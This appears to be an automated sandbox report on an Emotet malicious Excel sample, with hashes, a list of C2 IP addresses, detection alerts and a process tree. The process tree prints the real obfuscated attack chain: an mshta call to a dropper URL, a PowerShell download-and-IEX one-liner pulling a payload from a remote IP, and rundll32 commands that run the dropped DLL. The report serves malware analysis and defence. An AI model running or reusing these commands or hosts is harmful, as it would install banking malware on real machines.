emotet | 3fcc643de96cc8f42515929e84f68cfb36f28537b37a1fa152bab2898d161a0f

Analysis

max time kernel
121s
max time network
158s
platform
windows10_x64
resource
win10-en-20211208
submitted
24/12/2021, 05:10

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General

Target
X150338401580719.xls
Size 64KB
Sample211224-ftqdhadbdr
SHA256 3fcc643de96cc8f42515929e84f68cfb36f28537b37a1fa152bab2898d161a0f
MD5 356c29c9fc1b736c8230fec270d532d2
SHA1 c6bc9aab63547fd4467acd93083a5186aec0f237
SHA512 4a4c22a4b5cace0a8701fb0a3f3b6d91781a7e9dab29f42ffba09551e1b1a5a8c6ca08f45a8029e4bd5ae47ecd4c542ea248829954864d9596066696b3754b4b
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://87.251.86.178/pp/aa.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.251.86.178/pp/PP2.PNG

Extracted

Family

emotet

Botnet

Epoch4

144.217.91.150:443
51.38.71.0:443
212.237.56.116:7080
79.172.212.216:8080
178.79.147.66:8080
138.185.72.26:8080
192.254.71.210:443
178.63.25.185:443
195.154.133.20:443
45.118.135.203:7080
81.0.236.90:443
107.182.225.142:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.118.115.99:8080
216.158.226.206:443
104.168.155.129:8080
110.232.117.186:8080
176.104.106.96:8080
46.55.222.11:443
51.68.175.8:8080
207.38.84.195:8080
58.227.42.236:80
45.176.232.124:443
104.251.214.46:8080
103.8.26.102:8080
45.142.114.231:8080
217.182.143.207:443
41.76.108.46:8080
212.237.5.209:443
103.8.26.103:8080
212.237.17.99:8080
173.212.193.249:8080
158.69.222.101:443
103.75.201.2:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2856	3776	cmd.exe	67

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
25	1212	mshta.exe
28	4000	powershell.exe
30	4000	powershell.exe
32	4000	powershell.exe
52	1088	rundll32.exe
53	1088	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3268	rundll32.exe
1396	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Pcxsjo\tccwcrkuwni.aef	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2728	1212	WerFault.exe	71

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3776	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4000	powershell.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
2728	WerFault.exe
4000	powershell.exe
4000	powershell.exe
1088	rundll32.exe
1088	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	2728	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE
3776	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3776 wrote to memory of 2856	3776	EXCEL.EXE	69
PID 3776 wrote to memory of 2856	3776	EXCEL.EXE	69
PID 2856 wrote to memory of 1212	2856	cmd.exe	71
PID 2856 wrote to memory of 1212	2856	cmd.exe	71
PID 1212 wrote to memory of 4000	1212	mshta.exe	72
PID 1212 wrote to memory of 4000	1212	mshta.exe	72
PID 4000 wrote to memory of 1216	4000	powershell.exe	77
PID 4000 wrote to memory of 1216	4000	powershell.exe	77
PID 1216 wrote to memory of 3268	1216	cmd.exe	78
PID 1216 wrote to memory of 3268	1216	cmd.exe	78
PID 1216 wrote to memory of 3268	1216	cmd.exe	78
PID 3268 wrote to memory of 1396	3268	rundll32.exe	80
PID 3268 wrote to memory of 1396	3268	rundll32.exe	80
PID 3268 wrote to memory of 1396	3268	rundll32.exe	80
PID 1396 wrote to memory of 3796	1396	rundll32.exe	81
PID 1396 wrote to memory of 3796	1396	rundll32.exe	81
PID 1396 wrote to memory of 3796	1396	rundll32.exe	81
PID 3796 wrote to memory of 1088	3796	rundll32.exe	82
PID 3796 wrote to memory of 1088	3796	rundll32.exe	82
PID 3796 wrote to memory of 1088	3796	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\X150338401580719.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3776
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/aa.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP2.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4000
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1216
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3268
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1396
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pcxsjo\tccwcrkuwni.aef",bzkdNBDQGgGX
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3796
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pcxsjo\tccwcrkuwni.aef",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1088
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1212 -s 2296
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1088-343-0x0000000004540000-0x0000000004567000-memory.dmp

Download

memory/1396-339-0x00000000030E0000-0x0000000003107000-memory.dmp

Download

memory/3268-336-0x0000000004990000-0x00000000049B7000-memory.dmp

Download

memory/3776-127-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

Download

memory/3776-119-0x000001D109D00000-0x000001D109D02000-memory.dmp

Download

memory/3776-116-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Download

memory/3776-117-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Download

memory/3776-118-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Download

memory/3776-120-0x000001D109D00000-0x000001D109D02000-memory.dmp

Download

memory/3776-121-0x000001D109D00000-0x000001D109D02000-memory.dmp

Download

memory/3776-115-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

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memory/3776-129-0x00007FFD43CA0000-0x00007FFD43CB0000-memory.dmp

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memory/3776-128-0x00007FFD467F0000-0x00007FFD46800000-memory.dmp

Download

memory/3796-342-0x0000000002F90000-0x0000000002FB7000-memory.dmp

Download

memory/4000-315-0x0000025F33A76000-0x0000025F33A78000-memory.dmp

Download

memory/4000-300-0x0000025F34170000-0x0000025F341E6000-memory.dmp

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memory/4000-268-0x0000025F33A70000-0x0000025F33A72000-memory.dmp

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memory/4000-289-0x0000025F33A20000-0x0000025F33A5C000-memory.dmp

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memory/4000-270-0x0000025F33990000-0x0000025F339B2000-memory.dmp

Download

memory/4000-269-0x0000025F33A73000-0x0000025F33A75000-memory.dmp

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